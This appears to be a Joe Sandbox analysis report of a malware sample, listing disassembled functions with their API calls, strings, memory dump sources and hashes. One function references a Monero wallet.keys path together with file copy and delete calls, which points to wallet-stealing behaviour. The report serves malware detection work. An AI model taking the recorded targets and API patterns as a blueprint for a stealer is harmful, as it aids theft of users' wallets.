Opcode Fuzzy Hash: a4b443ea211c0c8761cf6d04468d6941ed9565cd0ba9ee369a20ed6eabe67d85
Instruction Fuzzy Hash: 7C210DB1E54208BFDB04DF94DE49FAEBBB8FB48711F104219F605A7680C779A9019BA1

Function 6C65E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C65E577
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65E584
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C65E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C65E826, 6C65E850
MOZ_PROFILER_STARTUP, xrefs: 6C65E5A1, 6C65E5CC, 6C65E5FF, 6C65E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C65E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C65E722, 6C65E750, 6C65E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C65E655

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: fdf24ea497fd8ba50b1cc175afda171bc16ea4ebebd0d4814d0b450596e4c8b3
Instruction ID: e241bfce00868c2c3c6d903f57b45b9dce003e2216f867c19d054c8d9ccda7c2
Opcode Fuzzy Hash: fdf24ea497fd8ba50b1cc175afda171bc16ea4ebebd0d4814d0b450596e4c8b3
Instruction Fuzzy Hash: 7611CE31604246DFCB009F16C488B6DBBB8FFC9728F520519F85247651C774A815CB9E

Function 00788D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0078951E,00000000), ref: 00788D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00788D62
wsprintfW.USER32 ref: 00788D78

Strings

%hs, xrefs: 00788D6F

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 12875c57e90d1521bb6c418867582116ac6d48f1842fe0e68cf06905356fb9c1
Instruction ID: 95e5f2bee673d8847cf5951791f1ab9b53db18e3da1db8254778a2d670097a89
Opcode Fuzzy Hash: 12875c57e90d1521bb6c418867582116ac6d48f1842fe0e68cf06905356fb9c1
Instruction Fuzzy Hash: 2AE086B0A54208BFC700DB94DD0DE5977BCEB04711F000154FD0987640D9755E109B92

Function 6C660C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C660CD5

Part of subcall function 6C64F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C64F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C660D40
free.MOZGLUE ref: 6C660DCB

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

free.MOZGLUE ref: 6C660DDD
free.MOZGLUE ref: 6C660DF2

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 45be6613318a7b16f918f54bbcac06458c107be869e28ac8534dfc75285a169b
Instruction ID: 92437152b35cf8a5114a8ed4a42567604f15f581c1e1cdac2c548ceeb795a0e3
Opcode Fuzzy Hash: 45be6613318a7b16f918f54bbcac06458c107be869e28ac8534dfc75285a169b
Instruction Fuzzy Hash: F94117719097849BD720CF2AC08079AFBE5BFC9714F108A2EE8D887B50D7709445CB9B

Function 6C66CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66CDA4

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

Part of subcall function 6C66D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C66CDBA,00100000,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66D158
Part of subcall function 6C66D130: InitializeConditionVariable.KERNEL32(00000098,?,6C66CDBA,00100000,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66CDC4

Part of subcall function 6C667480: ReleaseSRWLockExclusive.KERNEL32(?,6C6715FC,?,?,?,?,6C6715FC,?), ref: 6C6674EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66CECC

Part of subcall function 6C62CA10: mozalloc_abort.MOZGLUE(?), ref: 6C62CAA2

Part of subcall function 6C65CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C66CEEA,?,?,?,?,00000000,?,6C65DA31,00100000,?,?,00000000), ref: 6C65CB57
Part of subcall function 6C65CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C65CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C66CEEA,?,?), ref: 6C65CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66D058

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: fcfaf8a7d17a4e6e38d2d56fbc0629fd874b13cd4f4b0071d521396c01f1c39d
Instruction ID: e7e2f45ffc6f547a62bf08d64d6fed8a1fa11a90ea11087718d82009b3b110b3
Opcode Fuzzy Hash: fcfaf8a7d17a4e6e38d2d56fbc0629fd874b13cd4f4b0071d521396c01f1c39d
Instruction Fuzzy Hash: FDD18071A04B069FD708CF29C480B99F7E1BF89308F11862DD95987712EB71E965CBC6

Function 0077D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 00788B60: GetSystemTime.KERNEL32(00790E1A,014B9EA8,007905AE,?,?,007713F9,?,0000001A,00790E1A,00000000,?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 00788B86

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0077D481
lstrlen.KERNEL32(00000000), ref: 0077D698
lstrlen.KERNEL32(00000000), ref: 0077D6AC
DeleteFileA.KERNEL32(00000000), ref: 0077D72B

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 018cc707dfe6739b71114ec372dbde1b492b7b6658b296e319b44cd1da0d51b1
Instruction ID: f31b52abd444dc65aacdc352c62cfd6d233971da15a6712dc7d2d2ffbf0c0ea7
Opcode Fuzzy Hash: 018cc707dfe6739b71114ec372dbde1b492b7b6658b296e319b44cd1da0d51b1
Instruction Fuzzy Hash: F491C271950108EBEB05FBA4DD9ADEE7378AF14300F50816AF51676091EF3C6A09DB72

Function 6C635C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C635D40
EnterCriticalSection.KERNEL32(6C69F688), ref: 6C635D67
__aulldiv.LIBCMT ref: 6C635DB4
LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C635DED

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 3c41b4cff6adb684669dd8ec3679600bca95ddd7c299fcbe35845f1d7e0eff93
Instruction ID: 389d83493fd80a8742683ced4b8fbdb13f4e7ececa63e0dcf210ba56f60fe5be
Opcode Fuzzy Hash: 3c41b4cff6adb684669dd8ec3679600bca95ddd7c299fcbe35845f1d7e0eff93
Instruction Fuzzy Hash: E4516F71E0022A8FCF08CFA9C894AAEBBF1FB85314F1A961DD815A7750C7306945CB99

Function 00783560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 2bed11242e3b11f3674e0fa25d3533be2d02ce9b0d6d1efdd7c1eb70b52043ba
Instruction ID: 9764b4949530aa18efc45d90b22f8dcbac71fc9a60c454ea8fb19e24b051a102
Opcode Fuzzy Hash: 2bed11242e3b11f3674e0fa25d3533be2d02ce9b0d6d1efdd7c1eb70b52043ba
Instruction Fuzzy Hash: EE4151B1D50109EFDF04FFA8D889AEEB7B4AF44714F008119E41566290EB3CAA05CFA2

Function 6C656470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6582BC,?,?), ref: 6C65649B

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6564A9

Part of subcall function 6C64FA80: GetCurrentThreadId.KERNEL32 ref: 6C64FA8D
Part of subcall function 6C64FA80: AcquireSRWLockExclusive.KERNEL32(6C69F448), ref: 6C64FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65653F
free.MOZGLUE(?), ref: 6C65655A

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 2268f90f4846a99b23c43530716545ff8fb19ea600bb19675d3c63732d5238e5
Instruction ID: 39076110e469157c08c1161b6b9e4454a64bb6136d45fb70c896a51e971ffa04
Opcode Fuzzy Hash: 2268f90f4846a99b23c43530716545ff8fb19ea600bb19675d3c63732d5238e5
Instruction Fuzzy Hash: 33319EB5A043059FD700CF25D880A9FBBE4FF89314F50842EE89A97740DB34E919CB9A

Function 6C62B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62B4F5
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C62B502
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C62B542
free.MOZGLUE(?), ref: 6C62B578

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 9c2c76a120a53928870114f2ddf48d7cbbe14d7b13d3e2ed95ee470057f27956
Instruction ID: 769d966ef9b6dcb5d074e4b04f68ed38acacd7baafe66d70483bf3073cffd036
Opcode Fuzzy Hash: 9c2c76a120a53928870114f2ddf48d7cbbe14d7b13d3e2ed95ee470057f27956
Instruction Fuzzy Hash: C6113630A04B42C7C311CF2AC4403A5B3B0FFD6719F11970AE84A67A02EBB4B1D5CB89

Function 00787980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00790E00,00000000,?), ref: 007879B0
RtlAllocateHeap.NTDLL(00000000), ref: 007879B7
GetLocalTime.KERNEL32(?,?,?,?,?,00790E00,00000000,?), ref: 007879C4
wsprintfA.USER32 ref: 007879F3

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 433004443be82aa7bd7d7ad1e3c193e16e9d3c4344f01c0562960419bf69fb95
Instruction ID: b28034e9977fad5d83b88702e8fbcaff86194ce13369cb02ae7b3a69b723a703
Opcode Fuzzy Hash: 433004443be82aa7bd7d7ad1e3c193e16e9d3c4344f01c0562960419bf69fb95
Instruction Fuzzy Hash: DA112AB2958118ABCB14DFC9DE45BBEB7F8FB4CB21F10421AF605A2280E2395940D7B1

Function 0078C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0078C74E

Part of subcall function 0078BF9F: __amsg_exit.LIBCMT ref: 0078BFAF

__getptd.LIBCMT ref: 0078C765
__amsg_exit.LIBCMT ref: 0078C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0078C797

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
